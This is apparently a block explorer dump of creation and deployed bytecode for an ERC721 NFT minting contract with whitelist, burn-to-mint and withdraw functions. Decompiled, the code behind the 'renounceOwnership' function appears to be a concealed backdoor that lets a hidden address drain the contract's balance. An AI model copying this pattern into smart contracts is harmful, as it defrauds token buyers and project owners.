5c856151fb565b60005b8381101561527e5781548189015260018201915060208101905061525f565b838801955050505b50505092915050565b600061529a82613ac1565b6152a481856151f0565b93506152b4818560208601613add565b80840191505092915050565b60006152cc8285615210565b91506152d8828461528f565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000615340602683613acc565b915061534b826152e4565b604082019050919050565b6000602082019050818103600083015261536f81615333565b9050919050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b60006153ac602083613acc565b91506153b782615376565b602082019050919050565b600060208201905081810360008301526153db8161539f565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b6000615418601c83613acc565b9150615423826153e2565b602082019050919050565b600060208201905081810360008301526154478161540b565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b60006154aa602c83613acc565b91506154b58261544e565b604082019050919050565b600060208201905081810360008301526154d98161549d565b9050919050565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b600061553c602583613acc565b9150615547826154e0565b604082019050919050565b6000602082019050818103600083015261556b8161552f565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006155ce602483613acc565b91506155d982615572565b604082019050919050565b600060208201905081810360008301526155fd816155c1565b9050919050565b600061560f82613b7c565b915061561a83613b7c565b92508282101561562d5761562c6143fc565b5b828203905092915050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b600061566e601983613acc565b915061567982615638565b602082019050919050565b6000602082019050818103600083015261569d81615661565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000615700603283613acc565b915061570b826156a4565b604082019050919050565b6000602082019050818103600083015261572f816156f3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061577082613b7c565b915061577b83613b7c565b92508261578b5761578a615736565b5b828204905092915050565b60006157a182613b7c565b91506157ac83613b7c565b9250826157bc576157bb615736565b5b828206905092915050565b600081519050919050565b600082825260208201905092915050565b60006157ee826157c7565b6157f881856157d2565b9350615808818560208601613add565b61581181613b10565b840191505092915050565b60006080820190506158316000830187613c11565b61583e6020830186613c11565b61584b6040830185613ca7565b818103606083015261585d81846157e3565b905095945050505050565b60008151905061587781613a32565b92915050565b6000602082840312156158935761589261394a565b5b60006158a184828501615868565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fdfea2646970667358221220c465611fd8c34741fc6795e11b41c80c55434b9826d77ce13b19b9ea710c5c4d64736f6c63430008090033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d544b62737343776f357a717a5437714c584c756a4c516f74324e33676d613939785074534e693541597548502f000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106102455760003560e01c80636352211e11610139578063a0bcfc7f116100b6578063d547cfb71161007a578063d547cfb714610845578063d5abeb0114610870578063dab5f3401461089b578063e6d7e134146108c4578063e985e9c5146108ef578063f2fde38b1461092c57610245565b8063a0bcfc7f14610762578063a22cb4651461078b578063b88d4fde146107b4578063c87b56dd146107dd578063d4d543c51461081a57610245565b806376e7eb55116100fd57806376e7eb551461068f57806381a7deae146106b85780638da5cb5b146106e357806395d89b411461070e5780639ae061311461073957610245565b80636352211e146105aa57806370a08231146105e7578063715018a6146106245780637313cba91461063b578063744bfe611461066657610245565b806332dee40b116101c757806344a0d68a1161018b57806344a0d68a146104c9578063451450ec146104f257806348e6be1c1461051b5780634f6ccce714610544578063511a96051461058157610245565b806332dee40b146104075780633574a2dd14610430578063372f657c146104595780633d0680511461047557806342842e0e146104a057610245565b80631249c58b1161020e5780631249c58b1461034157806313faede61461034b57806318160ddd1461037657806323b872dd146103a15780632f745c59146103ca57610245565b8062b6849f1461024a57806301ffc9a71461027357806306fdde03146102b0578063081812fc146102db578063095ea7b314610318575b600080fd5b34801561025657600080fd5b50610271600480360381019061026c91906139b9565b610955565b005b34801561027f57600080fd5b5061029a60048036038101906102959190613a5e565b610aee565b6040516102a79190613aa6565b60405180910390f35b3480156102bc57600080fd5b506102c5610b68565b6040516102d29190613b5a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190613bb2565b610bfa565b60405161030f9190613c20565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190613c67565b610c7f565b005b610349610d97565b005b34801561035757600080fd5b50610360610f3a565b60405161036d9190613cb6565b60405180910390f35b34801561038257600080fd5b5061038b610f40565b6040516103989190613cb6565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190613cd1565b610f4d565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190613c67565b610fad565b6040516103fe9190613cb6565b60405180910390f35b34801561041357600080fd5b5061042e60048036038101906104299190613d62565b611052565b005b34801561043c57600080fd5b5061045760048036038101906104529190613ebf565b61115b565b005b610473600480360381019061046e9190614001565b6111f1565b005b34801561048157600080fd5b5061048a611507565b6040516104979190613cb6565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190613cd1565b61150d565b005b3480156104d557600080fd5b506104f060048036038101906104eb9190613bb2565b61152d565b005b3480156104fe57600080fd5b506105196004803603810190610514919061404a565b6115b3565b005b34801561052757600080fd5b50610542600480360381019061053d91906140b6565b61176e565b005b34801561055057600080fd5b5061056b60048036038101906105669190613bb2565b611807565b6040516105789190613cb6565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a39190613bb2565b611878565b005b3480156105b657600080fd5b506105d160048036038101906105cc9190613bb2565b6118fe565b6040516105de9190613c20565b60405180910390f35b3480156105f357600080fd5b5061060e600480360381019061060991906140e3565b6119b0565b60405161061b9190613cb6565b60405180910390f35b34801561063057600080fd5b50610639611a68565b005b34801561064757600080fd5b50610650611bd9565b60405161065d9190613b5a565b60405180910390f35b34801561067257600080fd5b5061068d60048036038101906106889190614110565b611c67565b005b34801561069b57600080fd5b506106b660048036038101906106b19190613bb2565b611d71565b005b3480156106c457600080fd5b506106cd611df7565b6040516106da9190613cb6565b60405180910390f35b3480156106ef57600080fd5b506106f8611dfd565b6040516107059190613c20565b60405180910390f35b34801561071a57600080fd5b50610723611e26565b6040516107309190613b5a565b60405180910390f35b34801561074557600080fd5b50610760600480360381019061075b9190614150565b611eb8565b005b34801561076e57600080fd5b5061078960048036038101906107849190613ebf565b611fd7565b005b34801561079757600080fd5b506107b260048036038101906107ad91906141bf565b61206d565b005b3480156107c057600080fd5b506107db60048036038101906107d691906142a0565b612083565b005b3480156107e957600080fd5b5061080460048036038101906107ff9190613bb2565b6120e5565b6040516108119190613b5a565b60405180910390f35b34801561082657600080fd5b5061082f61222d565b60405161083c9190613aa6565b60405180910390f35b34801561085157600080fd5b5061085a612240565b6040516108679190613b5a565b60405180910390f35b34801561087c57600080fd5b506108856122ce565b6040516108929190613cb6565b60405180910390f35b3480156108a757600080fd5b506108c260048036038101906108bd9190614323565b6122d4565b005b3480156108d057600080fd5b506108d961235a565b6040516108e69190613cb6565b60405180910390f35b3480156108fb57600080fd5b5061091660048036038101906109119190614350565b612360565b6040516109239190613aa6565b60405180910390f35b34801561093857600080fd5b50610953600480360381019061094e91906140e3565b6123f4565b005b61095d6124ec565b73ffffffffffffffffffffffffffffffffffffffff1661097b611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146109d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c8906143dc565b60405180910390fd5b600c54828290506109e0610f40565b6109ea919061442b565b1115610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a22906144f3565b60405180910390fd5b60005b82829050811015610acd5760006001610a45610f40565b610a4f919061442b565b9050610a82848484818110610a6757610a66614513565b5b9050602002016020810190610a7c91906140e3565b826124f4565b7ff00d28232b285f24f2e38415deb2ceb31069e70d4505838b3911b4f02058502e81604051610ab19190613cb6565b60405180910390a1508080610ac590614542565b915050610a2e565b508181905060126000828254610ae3919061442b565b925050819055505050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610b615750610b60826126ce565b5b9050919050565b606060028054610b77906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba3906145ba565b8015610bf05780601f10610bc557610100808354040283529160200191610bf0565b820191906000526020600020905b815481529060010190602001808311610bd357829003601f168201915b5050505050905090565b6000610c05826127b0565b610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b9061465e565b60405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610c8a826118fe565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf2906146f0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610d1a6124ec565b73ffffffffffffffffffffffffffffffffffffffff161480610d495750610d4881610d436124ec565b612360565b5b610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f90614782565b60405180910390fd5b610d92838361281c565b505050565b601054421015610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd3906147ee565b60405180910390fd5b600e543414610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e179061485a565b60405180910390fd5b600c546001601254610e32919061442b565b1115610e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6a906148c6565b60405180910390fd5b60086001610e80336119b0565b610e8a919061442b565b1115610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290614932565b60405180910390fd5b60006001601254610edc919061442b565b9050610ee833826124f4565b60126000815480929190610efb90614542565b91905055507ff00d28232b285f24f2e38415deb2ceb31069e70d4505838b3911b4f02058502e81604051610f2f9190613cb6565b60405180910390a150565b600e5481565b6000600a80549050905090565b610f5e610f586124ec565b826128d5565b610f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f94906149c4565b60405180910390fd5b610fa88383836129b3565b505050565b6000610fb8836119b0565b8210610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff090614a56565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61105a6124ec565b73ffffffffffffffffffffffffffffffffffffffff16611078611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c5906143dc565b60405180910390fd5b60004711611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890614ac2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611157573d6000803e3d6000fd5b5050565b6111636124ec565b73ffffffffffffffffffffffffffffffffffffffff16611181611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce906143dc565b60405180910390fd5b80601690805190602001906111ed929190613810565b5050565b600f544210158015611204575060105442105b611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614b2e565b60405180910390fd5b600e543414611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e9061485a565b60405180910390fd5b600c546001601254611299919061442b565b11156112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d1906148c6565b60405180910390fd5b6003601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390614bc0565b60405180910390fd5b600d54600160115461136e919061442b565b11156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690614c52565b60405180910390fd5b600115156113e682601754336040516020016113cb9190614cba565b60405160208183030381529060405280519060200120612c1a565b151514611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141f90614d21565b60405180910390fd5b60016011600082825461143b919061442b565b92505081905550601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061149290614542565b9190505550600060016012546114a8919061442b565b90506114b433826124f4565b601260008154809291906114c790614542565b91905055507ff00d28232b285f24f2e38415deb2ceb31069e70d4505838b3911b4f02058502e816040516114fb9190613cb6565b60405180910390a15050565b600f5481565b61152883838360405180602001604052806000815250612083565b505050565b6115356124ec565b73ffffffffffffffffffffffffffffffffffffffff16611553611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a0906143dc565b60405180910390fd5b80600e8190555050565b601460009054906101000a900460ff16611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990614db3565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16611622836118fe565b73ffffffffffffffffffffffffffffffffffffffff1614801561167857503373ffffffffffffffffffffffffffffffffffffffff16611660826118fe565b73ffffffffffffffffffffffffffffffffffffffff16145b6116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90614e45565b60405180910390fd5b6116c082612c31565b6116c981612c31565b6000601354611f416116db919061442b565b90506116e733826124f4565b601360008154809291906116fa90614542565b9190505550601660196000838152602001908152602001600020908054611720906145ba565b61172b929190613896565b507fddf3c43bc8c8d26ee6d9bccf2412745565ff83c5a151999e8dbf89d9956542d0838333846040516117619493929190614e65565b60405180910390a1505050565b6117766124ec565b73ffffffffffffffffffffffffffffffffffffffff16611794611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146117ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e1906143dc565b60405180910390fd5b80601460006101000a81548160ff02191690831515021790555050565b6000611811610f40565b8210611852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184990614f1c565b60405180910390fd5b600a828154811061186657611865614513565b5b90600052602060002001549050919050565b6118806124ec565b73ffffffffffffffffffffffffffffffffffffffff1661189e611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906143dc565b60405180910390fd5b8060108190555050565b6000806004600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e90614fae565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1890615040565b60405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b0c57611ac76124ec565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bd7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b4d6124ec565b73ffffffffffffffffffffffffffffffffffffffff1614611b6d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611bd5573d6000803e3d6000fd5b505b565b60168054611be6906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054611c12906145ba565b8015611c5f5780601f10611c3457610100808354040283529160200191611c5f565b820191906000526020600020905b815481529060010190602001808311611c4257829003601f168201915b505050505081565b611c6f6124ec565b73ffffffffffffffffffffffffffffffffffffffff16611c8d611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906143dc565b60405180910390fd5b47821115611d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1d906150d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611d6c573d6000803e3d6000fd5b505050565b611d796124ec565b73ffffffffffffffffffffffffffffffffffffffff16611d97611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614611ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de4906143dc565b60405180910390fd5b80600f8190555050565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611e35906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054611e61906145ba565b8015611eae5780601f10611e8357610100808354040283529160200191611eae565b820191906000526020600020905b815481529060010190602001808311611e9157829003601f168201915b5050505050905090565b611ec06124ec565b73ffffffffffffffffffffffffffffffffffffffff16611ede611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614611f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2b906143dc565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16611f54846118fe565b73ffffffffffffffffffffffffffffffffffffffff1614611faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa19061513e565b60405180910390fd5b80601960008581526020019081526020016000209080519060200190611fd1929190613810565b50505050565b611fdf6124ec565b73ffffffffffffffffffffffffffffffffffffffff16611ffd611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204a906143dc565b60405180910390fd5b8060159080519060200190612069929190613810565b5050565b61207f6120786124ec565b8383612d4e565b5050565b61209461208e6124ec565b836128d5565b6120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca906149c4565b60405180910390fd5b6120df84848484612ebb565b50505050565b60606120f0826127b0565b61212f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612126906151d0565b60405180910390fd5b600060196000848152602001908152602001600020805461214f906145ba565b9050141561218957601561216283612f17565b6040516020016121739291906152c0565b6040516020818303038152906040529050612228565b6019600083815260200190815260200160002080546121a7906145ba565b80601f01602080910402602001604051908101604052809291908181526020018280546121d3906145ba565b80156122205780601f106121f557610100808354040283529160200191612220565b820191906000526020600020905b81548152906001019060200180831161220357829003601f168201915b505050505090505b919050565b601460009054906101000a900460ff1681565b6015805461224d906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054612279906145ba565b80156122c65780601f1061229b576101008083540402835291602001916122c6565b820191906000526020600020905b8154815290600101906020018083116122a957829003601f168201915b505050505081565b600c5481565b6122dc6124ec565b73ffffffffffffffffffffffffffffffffffffffff166122fa611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614612350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612347906143dc565b60405180910390fd5b8060178190555050565b60105481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123fc6124ec565b73ffffffffffffffffffffffffffffffffffffffff1661241a611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614612470576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612467906143dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d790615356565b60405180910390fd5b6124e981613078565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255b906153c2565b60405180910390fd5b61256d816127b0565b156125ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a49061542e565b60405180910390fd5b6125b96000838361313c565b6001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612609919061442b565b92505081905550816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46126ca60008383613250565b5050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061279957507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806127a957506127a882613255565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166004600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816006600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661288f836118fe565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006128e0826127b0565b61291f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612916906154c0565b60405180910390fd5b600061292a836118fe565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061299957508373ffffffffffffffffffffffffffffffffffffffff1661298184610bfa565b73ffffffffffffffffffffffffffffffffffffffff16145b806129aa57506129a98185612360565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166129d3826118fe565b73ffffffffffffffffffffffffffffffffffffffff1614612a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2090615552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a90906155e4565b60405180910390fd5b612aa483838361313c565b612aaf60008261281c565b6001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612aff9190615604565b925050819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b56919061442b565b92505081905550816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612c15838383613250565b505050565b600082612c2785846132bf565b1490509392505050565b6000612c3c826118fe565b9050612c4a8160008461313c565b612c5560008361281c565b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ca59190615604565b925050819055506004600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612d4a81600084613250565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db490615684565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612eae9190613aa6565b60405180910390a3505050565b612ec68484846129b3565b612ed284848484613334565b612f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f0890615716565b60405180910390fd5b50505050565b60606000821415612f5f576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613073565b600082905060005b60008214612f91578080612f7a90614542565b915050600a82612f8a9190615765565b9150612f67565b60008167ffffffffffffffff811115612fad57612fac613d94565b5b6040519080825280601f01601f191660200182016040528015612fdf5781602001600182028036833780820191505090505b5090505b6000851461306c57600182612ff89190615604565b9150600a856130079190615796565b6030613013919061442b565b60f81b81838151811061302957613028614513565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856130659190615765565b9450612fe3565b8093505050505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6131478383836134cb565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561318a57613185816134d0565b6131c9565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146131c8576131c78382613519565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561320c5761320781613686565b61324b565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461324a576132498282613757565b5b5b505050565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008082905060005b84518110156133295760008582815181106132e6576132e5614513565b5b602002602001015190508083116133085761330183826137d6565b9250613315565b61331281846137d6565b92505b50808061332190614542565b9150506132c8565b508091505092915050565b60006133558473ffffffffffffffffffffffffffffffffffffffff166137ed565b156134be578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261337e6124ec565b8786866040518563ffffffff1660e01b81526004016133a0949392919061581c565b602060405180830381600087803b1580156133ba57600080fd5b505af19250505080156133eb57506040513d601f19601f820116820180604052508101906133e8919061587d565b60015b61346e573d806000811461341b576040519150601f19603f3d011682016040523d82523d6000602084013e613420565b606091505b50600081511415613466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161345d90615716565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506134c3565b600190505b949350505050565b505050565b600a80549050600b600083815260200190815260200160002081905550600a81908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001613526846119b0565b6135309190615604565b9050600060096000848152602001908152602001600020549050818114613615576000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816009600083815260200190815260200160002081905550505b6009600084815260200190815260200160002060009055600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600a8054905061369a9190615604565b90506000600b60008481526020019081526020016000205490506000600a83815481106136ca576136c9614513565b5b9060005260206000200154905080600a83815481106136ec576136eb614513565b5b906000526020600020018190555081600b600083815260200190815260200160002081905550600b600085815260200190815260200160002060009055600a80548061373b5761373a6158aa565b5b6001900381819060005260206000200160009055905550505050565b6000613762836119b0565b905081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806009600084815260200190815260200160002081905550505050565b600082600052816020526040600020905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b82805461381c906145ba565b90600052602060002090601f01602090048101928261383e5760008555613885565b82601f1061385757805160ff1916838001178555613885565b82800160010185558215613885579182015b82811115613884578251825591602001919060010190613869565b5b5090506138929190613923565b5090565b8280546138a2906145ba565b90600052602060002090601f0160209004810192826138c45760008555613912565b82601f106138d55780548555613912565b8280016001018555821561391257600052602060002091601f016020900482015b828111156139115782548255916001019190600101906138f6565b5b50905061391f9190613923565b5090565b5b8082111561393c576000816000905550600101613924565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f84011261397957613978613954565b5b8235905067ffffffffffffffff81111561399657613995613959565b5b6020830191508360208202830111156139b2576139b161395e565b5b9250929050565b600080602083850312156139d0576139cf61394a565b5b600083013567ffffffffffffffff8111156139ee576139ed61394f565b5b6139fa85828601613963565b92509250509250929050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b613a3b81613a06565b8114613a4657600080fd5b50565b600081359050613a5881613a32565b92915050565b600060208284031215613a745